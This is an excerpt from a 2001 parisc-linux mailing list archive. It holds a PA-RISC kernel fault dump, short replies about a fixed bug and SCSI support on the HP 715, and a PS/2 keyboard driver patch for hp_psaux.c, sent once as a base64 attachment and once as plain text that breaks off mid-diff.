model   00006190 00000481 00000000 00000000 7804f0a4 00000000 00000004
00000072 00000072
vers    0000000b
CPUID   vers 0 rev 0
model   9000/715
Total Memory: 256 Mb
On node 0 totalpages: 65536
zone(0): 65536 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Searching for devices...

Dumping Stack from 10348000 to 10348980:
8000 00000000 00000000 00000000 00000000 102b6fa0 00000000 00000000
ffffffff
....

Kernel Fault: Code=15 regs=10348740 (Addr=2000003c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011000000000000001111
r0-3     00000000 2000003c 1010afd0 1034c76c
r4-7     f0200000 1034c010 00000005 10348628
r8-11    10348609 00000008 0004000e 102ecf94
r12-15   00000000 00000001 00000001 f0000704
r16-19   f000b858 00000002 00000000 00000000
r20-23   00005e00 0000000b 00000010 0000008e
r24-27   00000000 1034c1e0 1034c770 102a4010
r28-31   00000000 00000000 10348980 f0012870
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 102ee3c4 102ee3b4
 IIR: 0c201093    ISR: 00000000  IOR: 2000003c
 ORIG_R28: 00000000


- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,







From - Thu Nov 08 21:19:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Kernel panics on 715/80
Date: Wed, 5 Sep 2001 06:57:04 -0600 (MDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200109051257.GAA23109@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620456 24976 80.91.229.3 (22 Nov 2014 01:40:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 06:57:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2BC50482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 06:57:06 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id 6CE53AFB
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 08:57:05 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id GAA23109
	for parisc-linux@lists.parisc-linux.org; Wed, 5 Sep 2001 06:57:04 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12107

> Sorry it took so long to do further debugging... Anyway the System.map
> says:
>
> 102ee3a0 ? parisc_hardware_description
> 1010ae98 T alloc_pa_dev
>

Oops. I found this bug last week, but forgot to commit a patch for it.
I just did that.

John




From - Thu Nov 08 21:19:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Thomas Marteau kbd patch adapted.
Date: Wed, 5 Sep 2001 15:01:08 +0200
Lines: 161
Approved: news@gmane.org
Message-ID: <OF5DD68232.F4EBD422-ONC1256ABE.0044855E@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ; Boundary="0__=C1256ABE0044855E8f9e8a93df938690918cC1256ABE0044855E"
X-Trace: ger.gmane.org 1416620456 24979 80.91.229.3 (22 Nov 2014 01:40:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: marteaut@esiee.fr, rhirst@linuxcare.com, willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 06:58:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB8D0482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 06:58:03 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d55cf489f23@epirel991.europay.com>;
 Wed, 5 Sep 2001 14:57:43 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 09/05/2001 03:01:09 PM
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:12108

--0__=C1256ABE0044855E8f9e8a93df938690918cC1256ABE0044855E
Content-type: text/plain; charset=us-ascii

Dear all,

I just adapt the patch keyboard of Thomas taking account of kernel update,
reports of experiences of Richard.
I can only test it against 2.4.9-pa14 (cvs update) and seems to work as
well as with 712 as with b180 model
(unplug, replug: ok with hp kbd; Caps lock do not hang the "system")

In the hope to be helpful,
     Joel

PS: I do just add some initial variable value to avoid compile warning. I
do not yet find the way the avoid the last (sorry I have not enough C
writing experience)

(See attached file: hp_psaux.patch)

**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************

--0__=C1256ABE0044855E8f9e8a93df938690918cC1256ABE0044855E
Content-type: application/octet-stream; 
	name="hp_psaux.patch"
Content-Disposition: attachment; filename="hp_psaux.patch"
Content-transfer-encoding: base64

LS0tIGhwX3BzYXV4LmMJV2VkIFNlcCAgNSAxMDo1MTo0NCAyMDAxCisrKyBocF9wc2F1eC5jLm9y
aWcJVHVlIEF1ZyAyOCAxMjowMjozMiAyMDAxCkBAIC00NCw1ICs0NCw0IEBACiAvKiBIUCBzcGVj
aWZpYyBMQVNJIFBTLzIga2V5Ym9hcmQgYW5kIHBzYXV4IGNvbnN0YW50cyAqLwogI2RlZmluZQlB
VVhfUkVQTFlfQUNLCTB4RkEJLyogQ29tbWFuZCBieXRlIEFDSy4gKi8KLSNkZWZpbmUJQVVYX1JF
U0VORAkweEZFCS8qIFNlbnQgYnkgdGhlIGtleWIuIEFza2luZyBmb3IgcmVzZW5kaW5nIHRoZSBs
YXN0IGNvbW1hbmQuICovCiAjZGVmaW5lCUFVWF9SRUNPTk5FQ1QJMHhBQQkvKiBzY2FuY29kZSB3
aGVuIHBzMiBkZXZpY2UgaXMgcGx1Z2dlZCAoYmFjaykgaW4gKi8KIApAQCAtNzMsNSArNzIsNiBA
QAogCiBzdGF0aWMgdW5zaWduZWQgbG9uZyBsYXNpa2JkX2hwYTsKLXN0YXRpYyBpbnQgY21kX3N0
YXR1czsKK3N0YXRpYyB1bnNpZ25lZCBsb25nIGxhc2lwczJfaHBhOworCiAKIHN0YXRpYyBpbmxp
bmUgdTggcmVhZF9pbnB1dCh1bnNpZ25lZCBsb25nIGhwYSkKQEAgLTEwNyw4ICsxMDcsNyBAQAog
CX0KIAotI2lmIDAKIAlpZiAod2FpdCkKIAkJcHJpbnRrKEtFUk5fREVCVUcgIkxhc2kgUFMvMiB3
YWl0ICVkXG4iLCB3YWl0KTsKLSNlbmRpZgkKKwkKIAlnc2Nfd3JpdGViKHZhbCwgaHBhK0xBU0lf
WE1UREFUQSk7CiAKQEAgLTEyNSwyNiArMTI0LDEyIEBACiBzdGF0aWMgdm9pZCBsYXNpa2JkX2xl
ZHModW5zaWduZWQgY2hhciBsZWRzKQogewotICAgICAgIGNtZF9zdGF0dXM9MjsKLSAgICAgICB3
aGlsZSAoY21kX3N0YXR1cyE9MCkgewotICAgICAgICAgICAgICAgd3JpdGVfb3V0cHV0KEtCRF9D
TURfU0VUX0xFRFMsIGxhc2lrYmRfaHBhKTsKLSAgICAgICAgICAgICAgIG1kZWxheSg1KTsKLSAg
ICAgICB9Ci0KLSAgICAgICBjbWRfc3RhdHVzPTI7Ci0gICAgICAgd2hpbGUgKGNtZF9zdGF0dXMh
PTApIHsKLSAgICAgICAgICAgICAgIHdyaXRlX291dHB1dChsZWRzLCBsYXNpa2JkX2hwYSk7Ci0g
ICAgICAgICAgICAgICBtZGVsYXkoNSk7Ci0gICAgICAgfQotCi0gICAgICAgY21kX3N0YXR1cz0y
OwotICAgICAgIHdoaWxlIChjbWRfc3RhdHVzIT0wKSB7Ci0gICAgICAgICAgd3JpdGVfb3V0cHV0
KEtCRF9DTURfRU5BQkxFLCBsYXNpa2JkX2hwYSk7Ci0gICAgICAgICAgbWRlbGF5KDUpOwotICAg
ICAgIH0KKwl3cml0ZV9vdXRwdXQoS0JEX0NNRF9TRVRfTEVEUywgbGFzaWtiZF9ocGEpOworCXdy
aXRlX291dHB1dChsZWRzLCBsYXNpa2JkX2hwYSk7CisJd3JpdGVfb3V0cHV0KEtCRF9DTURfRU5B
QkxFLCBsYXNpa2JkX2hwYSk7CiB9CiAKICNpZiAwCiAvKiB0aGlzIG1pZ2h0IGJlY29tZSB1c2Vm
dWwgYWdhaW4gYXQgc29tZSBwb2ludC4gIG5vdCBub3cgIC1wcnVtcGYgKi8KLWludCBsYXNpX3Bz
Ml90ZXN0KHVuc2lnbmVkIGxvbmcgaHBhKQoraW50IGxhc2lfcHMyX3Rlc3Qodm9pZCAqaHBhKQog
ewogCXU4IGNvbnRyb2wsYzsKQEAgLTE3MSw1NCArMTU2LDggQEAKICNlbmRpZiAKIAotc3RhdGlj
IGludCBpbml0X2tleWIodW5zaWduZWQgbG9uZyBocGEpCi17Ci0gICAgICAgaW50IGZhaWw7Ci0g
ICAgICAgdTggZGF0YT0wOwotCi0KLSAgICAgICBkbyB7Ci0gICAgICAgICAgICAgICB3aGlsZSAo
KHJlYWRfc3RhdHVzKGhwYSkgJiBMQVNJX1NUQVRfVEJORSkpOwotICAgICAgICAgICAgICAgZ3Nj
X3dyaXRlYihLQkRfQ01EX1NFVF9MRURTLCBocGErTEFTSV9YTVREQVRBKTsKLQotICAgICAgICAg
ICAgICAgd2hpbGUgKCEocmVhZF9zdGF0dXMoaHBhKSAmIExBU0lfU1RBVF9SQk5FKSk7Ci0KLSAg
ICAgICAgICAgICAgIHdoaWxlICgocmVhZF9zdGF0dXMoaHBhKSAmIExBU0lfU1RBVF9SQk5FKSkg
ZGF0YT1yZWFkX2lucHV0KGhwYSk7Ci0gICAgICAgfXdoaWxlKGRhdGEhPUFVWF9SRVBMWV9BQ0sp
OwotCi0gICAgICAgZmFpbD0wOwotCi0gICAgICAgZG8gewotICAgICAgICAgICAgICAgd2hpbGUg
KChyZWFkX3N0YXR1cyhocGEpICYgTEFTSV9TVEFUX1RCTkUpKTsKLSAgICAgICAgICAgICAgIGdz
Y193cml0ZWIoMHgwMCwgaHBhK0xBU0lfWE1UREFUQSk7Ci0KLSAgICAgICAgICAgICAgIHdoaWxl
ICghKHJlYWRfc3RhdHVzKGhwYSkgJiBMQVNJX1NUQVRfUkJORSkpOwotCi0gICAgICAgICAgICAg
ICB3aGlsZSAoKHJlYWRfc3RhdHVzKGhwYSkgJiBMQVNJX1NUQVRfUkJORSkpIHsKLSAgICAgICAg
ICAgICAgICAgICAgICAgZGF0YT1yZWFkX2lucHV0KGhwYSk7Ci0gICAgICAgICAgICAgICAgICAg
ICAgIGZhaWwrKzsKLSAgICAgICAgICAgICAgICAgICAgICAgaWYoZmFpbD09MTApIGJyZWFrOwot
ICAgICAgICAgICAgICAgfQotICAgICAgIH13aGlsZShkYXRhIT1BVVhfUkVQTFlfQUNLKTsKLQot
ICAgICAgIGZhaWw9MDsKLSAgICAgICBkbyB7Ci0gICAgICAgICAgICAgICB3aGlsZSAoKHJlYWRf
c3RhdHVzKGhwYSkgJiBMQVNJX1NUQVRfVEJORSkpOwotICAgICAgICAgICAgICAgZ3NjX3dyaXRl
YihLQkRfQ01EX0VOQUJMRSwgaHBhK0xBU0lfWE1UREFUQSk7Ci0KLSAgICAgICAgICAgICAgIHdo
aWxlICghKHJlYWRfc3RhdHVzKGhwYSkgJiBMQVNJX1NUQVRfUkJORSkpOwotICAgICAgICAgICAg
ICAgd2hpbGUgKChyZWFkX3N0YXR1cyhocGEpICYgTEFTSV9TVEFUX1JCTkUpKSB7Ci0gICAgICAg
ICAgICAgICAgICAgICAgIGRhdGE9cmVhZF9pbnB1dChocGEpOwotICAgICAgICAgICAgICAgICAg
ICAgICBmYWlsKys7Ci0gICAgICAgICAgICAgICAgICAgICAgIGlmKGZhaWw9PTEwKSBicmVhazsK
LSAgICAgICAgICAgICAgIH0KLQotICAgICAgIH13aGlsZShkYXRhIT1BVVhfUkVQTFlfQUNLKTsK
LQotICAgICAgIHJldHVybiAxOwotfQotCi1zdGF0aWMgdm9pZCBfX2luaXQgbGFzaV9wczJfcmVz
ZXQodW5zaWduZWQgbG9uZyBocGEpCitzdGF0aWMgaW50IF9faW5pdCBsYXNpX3BzMl9yZXNldCh1
bnNpZ25lZCBsb25nIGhwYSwgaW50IGlkKQogewogCXU4IGNvbnRyb2w7CisJaW50IHJldCA9IDE7
CiAKIAkvKiByZXNldCB0aGUgaW50ZXJmYWNlICovCkBAIC0yMjksNCArMTY4LDIwIEBACiAJY29u
dHJvbCA9IHJlYWRfY29udHJvbChocGEpOwogCXdyaXRlX2NvbnRyb2woY29udHJvbCB8IExBU0lf
Q1RSTF9FTkJMLCBocGEpOworCisgICAgICAgIC8qIGluaXRpYWxpemVzIHRoZSBsZWRzIGF0IHRo
ZSBkZWZhdWx0IHN0YXRlICovCisgICAgICAgIGlmIChpZD09MCkgeworICAgICAgICAgICB3cml0
ZV9vdXRwdXQoS0JEX0NNRF9TRVRfTEVEUywgaHBhKTsKKwkgICB3cml0ZV9vdXRwdXQoMCwgaHBh
KTsKKwkgICByZXQgPSB3cml0ZV9vdXRwdXQoS0JEX0NNRF9FTkFCTEUsIGhwYSk7CisJfQorCisJ
cmV0dXJuIHJldDsKK30KKworc3RhdGljIGludCBpbml0ZWQ7CisKK3N0YXRpYyB2b2lkIGxhc2lf
cHMyX2luaXRfaHcodm9pZCkKK3sKKwkrK2luaXRlZDsKIH0KIApAQCAtNDA5LDUgKzM2NCw1IEBA
CiAJZmFzeW5jX2F1eCgtMSwgZmlsZSwgMCk7CiAJaWYgKC0tYXV4X2NvdW50KSB7Ci0JCXVubG9j
a19rZXJuZWwoKTsKKwkgICB1bmxvY2tfa2VybmVsKCk7CiAJCXJldHVybiAwOwogCX0KQEAgLTQ0
NSw1ICs0MDAsNyBAQAogICAgICAgICAKICAgICAgICAgaWYgKGlkPT0xKSAKLQkJaHBhIC09IExB
U0lfUFNBVVhfT0ZGU0VUOyAKKyAgICAgICAgICAgaHBhIC09IExBU0lfUFNBVVhfT0ZGU0VUOyAK
KyAgICAgICAgbGFzaWtiZF9ocGEgPSBocGE7CisgICAgICAgIAogCiAgICAgICAgIHN0YXR1c19r
ZXliID0gcmVhZF9zdGF0dXMoaHBhKTsKQEAgLTQ1MiwzMyArNDA5LDI3IEBACiAgICAgICAgIHdo
aWxlICgoc3RhdHVzX2tleWJ8c3RhdHVzX21vdXNlKSAmIExBU0lfU1RBVF9SQk5FKXsKICAgICAg
ICAgICAgCi0JCXdoaWxlIChzdGF0dXNfa2V5YiAmIExBU0lfU1RBVF9SQk5FKSB7CisgICAgICAg
ICAgIHdoaWxlIChzdGF0dXNfa2V5YiAmIExBU0lfU1RBVF9SQk5FKSB7CiAJICAgICAgCi0JCXNj
YW5jb2RlID0gcmVhZF9pbnB1dChocGEpOworICAgICAgICAgICAgICBzY2FuY29kZSA9IHJlYWRf
aW5wdXQoaHBhKTsKIAotICAgICAgICAgICAgICAgLyogWFhYIGRvbid0IGtub3cgaWYgdGhpcyBp
cyBhIHZhbGlkIGZpeCwgYnV0IGZpbHRlcmluZwotICAgICAgICAgICAgICAgICogMHhmYSBhdm9p
ZHMgJ3Vua25vd24gc2NhbmNvZGUnIGVycm9ycyBvbiwgZWcsIGNhcHNsb2NrCi0gICAgICAgICAg
ICAgICAgKiBvbiBzb21lIGtleWJvYXJkcy4KLSAgICAgICAgICAgICAgICAqLwotCi0JCWlmIChz
Y2FuY29kZSA9PSBBVVhfUkVQTFlfQUNLKQotCQkJY21kX3N0YXR1cz0wOwotCi0JCWVsc2UgaWYg
KHNjYW5jb2RlID09IEFVWF9SRVNFTkQpCi0JCQljbWRfc3RhdHVzPTE7Ci0JCWVsc2UKLQkJCWhh
bmRsZV9hdF9zY2FuY29kZShzY2FuY29kZSk7CisJICAgICAgLyogWFhYIGRvbid0IGtub3cgaWYg
dGhpcyBpcyBhIHZhbGlkIGZpeCwgYnV0IGZpbHRlcmluZworCSAgICAgICAqIDB4ZmEgYXZvaWRz
ICd1bmtub3duIHNjYW5jb2RlJyBlcnJvcnMgb24sIGVnLCBjYXBzbG9jaworCSAgICAgICAqIG9u
IHNvbWUga2V5Ym9hcmRzLgorCSAgICAgICAqLworCSAgICAgIGlmIChpbml0ZWQgJiYgc2NhbmNv
ZGUgIT0gMHhmYSkKKwkJIGhhbmRsZV9hdF9zY2FuY29kZShzY2FuY29kZSk7IAogCSAgICAgIAot
CQlzdGF0dXNfa2V5YiA9cmVhZF9zdGF0dXMoaHBhKTsKLQkJfQorCSAgICAgIHN0YXR1c19rZXli
ID1yZWFkX3N0YXR1cyhocGEpOworICAgICAgICAgICB9CiAJICAgCiAjaWZkZWYgQ09ORklHX1BT
TU9VU0UKLQkJd2hpbGUgKHN0YXR1c19tb3VzZSAmIExBU0lfU1RBVF9SQk5FKSB7Ci0JCQlzY2Fu
Y29kZSA9IHJlYWRfaW5wdXQoaHBhK0xBU0lfUFNBVVhfT0ZGU0VUKTsKLQkJCWhhbmRsZV9tb3Vz
ZV9zY2FuY29kZShzY2FuY29kZSk7Ci0JCQlzdGF0dXNfbW91c2UgPSByZWFkX3N0YXR1cyhocGEr
TEFTSV9QU0FVWF9PRkZTRVQpOwotCQl9Ci0JCXN0YXR1c19tb3VzZSA9IHJlYWRfc3RhdHVzKGhw
YStMQVNJX1BTQVVYX09GRlNFVCk7CisgICAgICAgICAgIHdoaWxlIChzdGF0dXNfbW91c2UgJiBM
QVNJX1NUQVRfUkJORSkgeworCSAgICAgIHNjYW5jb2RlID0gcmVhZF9pbnB1dChocGErTEFTSV9Q
U0FVWF9PRkZTRVQpOworCSAgICAgIGhhbmRsZV9tb3VzZV9zY2FuY29kZShzY2FuY29kZSk7Cisg
ICAgICAgICAgICAgIHN0YXR1c19tb3VzZSA9IHJlYWRfc3RhdHVzKGhwYStMQVNJX1BTQVVYX09G
RlNFVCk7CisJICAgfQorICAgICAgICAgICBzdGF0dXNfbW91c2UgPSByZWFkX3N0YXR1cyhocGEr
TEFTSV9QU0FVWF9PRkZTRVQpOwogI2VuZGlmIC8qIENPTkZJR19QU01PVVNFICovCi0JCXN0YXR1
c19rZXliID0gcmVhZF9zdGF0dXMoaHBhKTsKKyAgICAgICAgICAgc3RhdHVzX2tleWIgPSByZWFk
X3N0YXR1cyhocGEpOwogICAgICAgICB9CiAKQEAgLTQ4NywxNiArNDM4LDIyIEBACiB9CiAKKwor
CisJCiBleHRlcm4gc3RydWN0IHB0X3JlZ3MgKmtiZF9wdF9yZWdzOwogCiBzdGF0aWMgdm9pZCBs
YXNpa2JkX2ludGVycnVwdChpbnQgaXJxLCB2b2lkICpkZXYsIHN0cnVjdCBwdF9yZWdzICpyZWdz
KQogeworCWxhc2lwczJfaHBhID0gKHVuc2lnbmVkIGxvbmcpIGRldjsgLyogc2F2ZSAiaHBhIiBm
b3IgbGFzaWtiZF9sZWRzKCkgKi8KIAlrYmRfcHRfcmVncyA9IHJlZ3M7Ci0JaGFuZGxlX2xhc2lr
YmRfZXZlbnQoZGV2KTsKKwloYW5kbGVfbGFzaWtiZF9ldmVudChsYXNpcHMyX2hwYSk7CiB9CiAK
KwogZXh0ZXJuIGludCBwY2tiZF90cmFuc2xhdGUodW5zaWduZWQgY2hhciwgdW5zaWduZWQgY2hh
ciAqLCBjaGFyKTsKIAogc3RhdGljIHN0cnVjdCBrYmRfb3BzIGdzY19wczJfa2JkX29wcyA9IHsK
IAl0cmFuc2xhdGU6CXBja2JkX3RyYW5zbGF0ZSwKKwlpbml0X2h3OglsYXNpX3BzMl9pbml0X2h3
LAogCWxlZHM6CQlsYXNpa2JkX2xlZHMsCiAjaWZkZWYgQ09ORklHX01BR0lDX1NZU1JRCkBAIC01
MTIsNSArNDY5LDUgQEAKIAl1bnNpZ25lZCBpbnQgaXJxOwogCWNoYXIgKm5hbWU7Ci0JaW50IGRl
dmljZV9mb3VuZD0wOworCWludCBkZXZpY2VfZm91bmQ7CiAJdTggaWQ7CiAKQEAgLTUzMiw4ICs0
ODksMTggQEAKIAkKIAkvKiByZXNldCB0aGUgUFMvMiBwb3J0ICovCi0JbGFzaV9wczJfcmVzZXQo
aHBhKTsKKwlkZXZpY2VfZm91bmQgPSBsYXNpX3BzMl9yZXNldChocGEsaWQpOworCisJLyogYWxs
b2NhdGUgdGhlIGlycSBhbmQgbWVtb3J5IHJlZ2lvbiBmb3IgdGhhdCBkZXZpY2UgKi8KKwlpZiAo
IShpcnEgPSBidXNkZXZpY2VfYWxsb2NfaXJxKGRldikpKQorCQlyZXR1cm4gLUVOT0RFVjsKKwkJ
ICAgIAorCWlmIChyZXF1ZXN0X2lycShpcnEsIGxhc2lrYmRfaW50ZXJydXB0LCAwLCBuYW1lLCAo
dm9pZCAqKWhwYSkpCisJCXJldHVybiAtRU5PREVWOworCQorCWlmICghcmVxdWVzdF9tZW1fcmVn
aW9uKGhwYSwgTEFTSV9TVEFUVVMgKyA0LCBuYW1lKSkKKwkJcmV0dXJuIC1FTk9ERVY7CisKIAlz
d2l0Y2ggKGlkKSB7CiAJY2FzZSAwOgkKLQkJZGV2aWNlX2ZvdW5kID0gaW5pdF9rZXliKGhwYSk7
CiAJCXJlZ2lzdGVyX2tiZF9vcHMoJmdzY19wczJfa2JkX29wcyk7CiAJCWJyZWFrOwpAQCAtNTYx
LDE1ICs1MjgsNCBAQAogCX0gLyogb2YgY2FzZSAqLwogCQotICAgICAgICAvKiBhbGxvY2F0ZSB0
aGUgaXJxIGFuZCBtZW1vcnkgcmVnaW9uIGZvciB0aGF0IGRldmljZSAqLwotCWlmICghKGlycSA9
IGJ1c2RldmljZV9hbGxvY19pcnEoZGV2KSkpCi0JCXJldHVybiAtRU5PREVWOwotCi0JaWYgKHJl
cXVlc3RfaXJxKGlycSwgbGFzaWtiZF9pbnRlcnJ1cHQsIDAsIG5hbWUsICh2b2lkICopaHBhKSkK
LQkJcmV0dXJuIC1FTk9ERVY7Ci0KLQlpZiAoIXJlcXVlc3RfbWVtX3JlZ2lvbigodW5zaWduZWQg
bG9uZylocGEsIExBU0lfU1RBVFVTICsgNCwgbmFtZSkpCi0JCXJldHVybiAtRU5PREVWOwotCi0K
IAlwcmludGsoS0VSTl9JTkZPICJQUy8yICVzIHBvcnQgYXQgMHglMDhseCAoaXJxICVkKSBmb3Vu
ZCwgIgogCQkJICIlc2RldmljZSBhdHRhY2hlZC5cbiIsCg==

--0__=C1256ABE0044855E8f9e8a93df938690918cC1256ABE0044855E--





From - Thu Nov 08 21:19:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing linux on HP systems
Date: Wed, 5 Sep 2001 14:00:53 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20010905140052.J11744@linuxcare.com>
References: <20010905051128.98221.qmail@web20210.mail.yahoo.com> <Pine.LNX.4.21.0109050116100.8790-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620457 24985 80.91.229.3 (22 Nov 2014 01:40:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 07:00:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75DA9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 07:00:12 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 5EC37B00C; Wed,  5 Sep 2001 14:00:53 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0109050116100.8790-100000@ns>; from nick@snowman.net on Wed, Sep 05, 2001 at 01:18:19AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12109

On Wed, Sep 05, 2001 at 01:18:19AM -0400, nick@snowman.net wrote:
> Hi, I've got a C180 and a 715 that I'm trying to install linux on.  The
> C180 has various issues that I belive are being worked on, so I moved on
> to the 715.  On the 715 I get errors allong the lines of:
> Writing inode tables: done                            
> Writing superblocks and filesystem accounting information: done
> # 
> # # EXT2-fs error (device sd(8,2)): ext2_readdir: bad entry in directory
> #2: rec_len % 4 != 0 - offset=0, inode=1701996660, rec_len5
> 
> This happens every time I try and mount a partition.  Is the 715 scsi
> unsupported as well?

715 scsi is supported, and works for many people.  Sorry, I don't know
what might be causing your problem.

Richard





From - Thu Nov 08 21:19:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Thomas Marteau kbd patch adapted.(2)
Date: Wed, 5 Sep 2001 15:30:03 +0200
Lines: 310
Approved: news@gmane.org
Message-ID: <OFF20A0000.EE7BF1AA-ONC1256ABE.00498F17@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620457 24990 80.91.229.3 (22 Nov 2014 01:40:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: marteaut@esiee.fr, rhirst@linuxcare.com, willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 07:26:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA9D4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 07:26:53 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d55cf631790@epirel991.europay.com>;
 Wed, 5 Sep 2001 15:26:37 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 09/05/2001 03:30:03 PM
Xref: news.gmane.org gmane.linux.ports.parisc:12110

Sorry for previous unreadable patch text.
Here is what I hope to be clearer.

--- hp_psaux.c.orig Tue Aug 28 12:02:32 2001
+++ hp_psaux.c Wed Sep  5 10:51:44 2001
@@ -43,6 +43,7 @@

 /* HP specific LASI PS/2 keyboard and psaux constants */
 #define  AUX_REPLY_ACK  0xFA /* Command byte ACK. */
+#define  AUX_RESEND     0xFE /* Sent by the keyb. Asking for resending the
last command. */
 #define  AUX_RECONNECT  0xAA /* scancode when ps2 device is plugged (back)
in */

 #define  LASI_PSAUX_OFFSET 0x0100 /* offset from keyboard to psaux port */
@@ -71,8 +72,7 @@
 #define LASI_STAT_CLKSHD 0x80

 static unsigned long lasikbd_hpa;
-static unsigned long lasips2_hpa;
-
+static int cmd_status;

 static inline u8 read_input(unsigned long hpa)
 {
@@ -106,9 +106,10 @@
          }
     }

+#if 0
     if (wait)
          printk(KERN_DEBUG "Lasi PS/2 wait %d\n", wait);
-
+#endif
     gsc_writeb(val, hpa+LASI_XMTDATA);

     return 1;
@@ -123,14 +124,28 @@

 static void lasikbd_leds(unsigned char leds)
 {
-    write_output(KBD_CMD_SET_LEDS, lasikbd_hpa);
-    write_output(leds, lasikbd_hpa);
-    write_output(KBD_CMD_ENABLE, lasikbd_hpa);
+       cmd_status=2;
+       while (cmd_status!=0) {
+               write_output(KBD_CMD_SET_LEDS, lasikbd_hpa);
+               mdelay(5);
